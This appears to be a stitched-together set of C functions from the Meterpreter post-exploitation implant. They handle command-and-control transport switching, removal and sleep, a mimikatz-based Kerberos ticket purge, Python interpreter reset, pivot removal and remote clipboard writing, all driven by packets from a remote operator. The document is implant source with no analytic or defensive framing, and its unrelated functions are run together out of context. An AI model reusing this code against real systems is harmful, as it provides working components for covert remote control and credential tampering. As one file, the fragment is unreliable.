DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) { Transport* transport = NULL; DWORD result = create_transport_from_request(remote, packet, &transport); packet_transmit_empty_response(remote, packet, result); return result; }
/*! * @brief Handler for the purge current kerberos tickets message. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming packet. * @returns \c ERROR_SUCCESS */ DWORD request_kerberos_ticket_purge(Remote *remote, Packet *packet) { DWORD result = mimikatz_kerberos_ticket_purge(); dprintf("[KIWI] Purging kerberos tickets (if present)"); packet_transmit_empty_response(remote, packet, result); return ERROR_SUCCESS; }
/*! * @brief Reset/restart the interpreter. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. */ DWORD request_python_reset(Remote* remote, Packet* packet) { dprintf("[PYTHON] resetting the interpreter"); destroy_std_handlers(); Py_Finalize(); Py_Initialize(); python_prepare_session(); packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); return ERROR_SUCCESS; }
BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) { Transport* transport = NULL; *result = create_transport_from_request(remote, packet, &transport); packet_transmit_empty_response(remote, packet, *result); if (*result == ERROR_SUCCESS) { remote->next_transport = transport; // exit out of the dispatch loop. return FALSE; } return TRUE; }
DWORD remote_request_core_transport_remove(Remote* remote, Packet* packet) { DWORD result = ERROR_SUCCESS; // make sure we are not trying to remove the last transport if (remote->transport == remote->transport->prev_transport) { dprintf("[DISPATCH] Refusing to delete the last transport"); result = ERROR_INVALID_FUNCTION; } else { Transport* found = NULL; Transport* transport = remote->transport; wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); do { if (wcscmp(transportUrl, transport->url) == 0) { found = transport; break; } transport = transport->next_transport; } while (transport != remote->transport); if (found == NULL || found == remote->transport) { dprintf("[DISPATCH] Transport not found, or attempting to remove current"); // if we don't have a valid transport, or they're trying to remove the // existing one, then bomb out (that might come later) result = ERROR_INVALID_PARAMETER; } else { remote->trans_remove(remote, found); dprintf("[DISPATCH] Transport removed"); } SAFE_FREE(transportUrl); } packet_transmit_empty_response(remote, packet, result); dprintf("[DISPATCH] Response sent."); return result; }
BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) { // we'll reuse the comm timeout TLV for this purpose DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); // to sleep, we simply jump to the same transport, with a delay remote->next_transport_wait = seconds; remote->next_transport = remote->transport; packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); *result = ERROR_SUCCESS; // exit out of the dispatch loop return FALSE; }
BOOL remote_request_core_transport_prev(Remote* remote, Packet* packet, DWORD* result) { dprintf("[DISPATCH] Asking to go to previous transport (from 0x%p to 0x%p)", remote->transport, remote->transport->prev_transport); if (remote->transport == remote->transport->prev_transport) { dprintf("[DISPATCH] Transports are the same, don't do anything"); // if we're switching to the same thing, don't bother. *result = ERROR_INVALID_PARAMETER; } else { dprintf("[DISPATCH] Transports are different, perform the switch"); remote->next_transport = remote->transport->prev_transport; *result = ERROR_SUCCESS; } packet_transmit_empty_response(remote, packet, *result); return *result == ERROR_SUCCESS ? FALSE : TRUE; }
/*! * @brief Remove a pivot point from the current Meterpreter instance. * @remote Pointer to the \c Remote instance. * @remote Pointer to the incoming request \c Packet instance. * @return Indication of error or success. */ DWORD request_core_pivot_remove(Remote* remote, Packet* packet) { DWORD result = ERROR_NOT_FOUND; LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); if (pivotId != NULL) { PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId); #ifdef DEBUGTRACE dprintf("[PIVOTTREE] Pivot listeners (after one removed)"); dbgprint_pivot_tree(remote->pivot_listeners); #endif if (ctx != NULL) { ctx->remove(ctx->state); free(ctx); result = ERROR_SUCCESS; } } packet_transmit_empty_response(remote, packet, result); return result; }
/*! * @brief Handle the request to set the data that's on the clipboard. * @details This function currently only supports the following clipboard data formats: * - CF_TEXT - raw text data. * * Over time more formats will be supported. * @param remote Pointer to the remote endpoint. * @param packet Pointer to the request packet. * @return Indication of success or failure. * @todo Add support for more data formats. */ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) { #ifdef _WIN32 DWORD dwResult; HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; PGLOBALALLOC pGlobalAlloc = NULL; PGLOBALFREE pGlobalFree = NULL; PGLOBALLOCK pGlobalLock = NULL; PGLOBALUNLOCK pGlobalUnlock = NULL; POPENCLIPBOARD pOpenClipboard = NULL; PCLOSECLIPBOARD pCloseClipboard = NULL; PSETCLIPBOARDDATA pSetClipboardData = NULL; PEMPTYCLIPBOARD pEmptyClipboard = NULL; PCHAR lpClipString; HGLOBAL hClipboardData; PCHAR lpLockedData; SIZE_T cbStringBytes; do { if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)) == NULL) BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER); dprintf("[EXTAPI CLIPBOARD] Loading user32.dll"); if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load user32.dll"); dprintf("[EXTAPI CLIPBOARD] Loading kernel32.dll"); if ((hKernel32 = LoadLibraryA("kernel32.dll")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to load kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalAlloc"); if ((pGlobalAlloc = (PGLOBALALLOC)GetProcAddress(hKernel32, "GlobalAlloc")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalAlloc in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalLock"); if ((pGlobalLock = (PGLOBALLOCK)GetProcAddress(hKernel32, "GlobalLock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalLock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for GlobalUnlock"); if ((pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress(hKernel32, "GlobalUnlock")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate GlobalUnlock in kernel32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for OpenClipboard"); if ((pOpenClipboard = (POPENCLIPBOARD)GetProcAddress(hUser32, "OpenClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate OpenClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for CloseClipboard"); if ((pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress(hUser32, "CloseClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate CloseClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for EmptyClipboard"); if ((pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress(hUser32, "EmptyClipboard")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate EmptyClipboard in user32.dll"); dprintf("[EXTAPI CLIPBOARD] Searching for SetClipboardData"); if ((pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress(hUser32, "SetClipboardData")) == NULL) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Unable to locate SetClipboardData in user32.dll"); cbStringBytes = (SIZE_T)strlen(lpClipString) + 1; // do the "use the right kind of memory once locked" clip board data dance. // Note that we don't free up the memory we've allocated with GlobalAlloc // because the windows clipboard magic does it for us. if ((hClipboardData = pGlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes)) == NULL) { dwResult = GetLastError(); pCloseClipboard(); BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Failed to allocate clipboard memory", dwResult); } lpLockedData = (PCHAR)pGlobalLock(hClipboardData); memcpy_s(lpLockedData, cbStringBytes, lpClipString, cbStringBytes); pGlobalUnlock(hClipboardData); // Try to get a lock on the clipboard if (!pOpenClipboard(NULL)) { dwResult = GetLastError(); BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to open the clipboard", dwResult); } // Clear the clipboard data pEmptyClipboard(); if (!pSetClipboardData(CF_TEXT, hClipboardData)) { dwResult = GetLastError(); dprintf("[EXTAPI CLIPBOARD] Failed to set the clipboad data: %u", dwResult); } else { dwResult = ERROR_SUCCESS; } pCloseClipboard(); } while (0); // If something went wrong and we have clipboard data, then we need to // free it up because the clipboard can't do it for us. if (dwResult != ERROR_SUCCESS && hClipboardData != NULL) { dprintf("[EXTAPI CLIPBOARD] Searching for GlobalFree"); if ((pGlobalFree = (PGLOBALFREE)GetProcAddress(hKernel32, "GlobalFree")) != NULL) pGlobalFree(hClipboardData); } if (hKernel32) FreeLibrary(hKernel32); if (hUser32) FreeLibrary(hUser32); packet_transmit_empty_response(remote, packet, dwResult); return dwResult; #else return ERROR_NOT_SUPPORTED; #endif }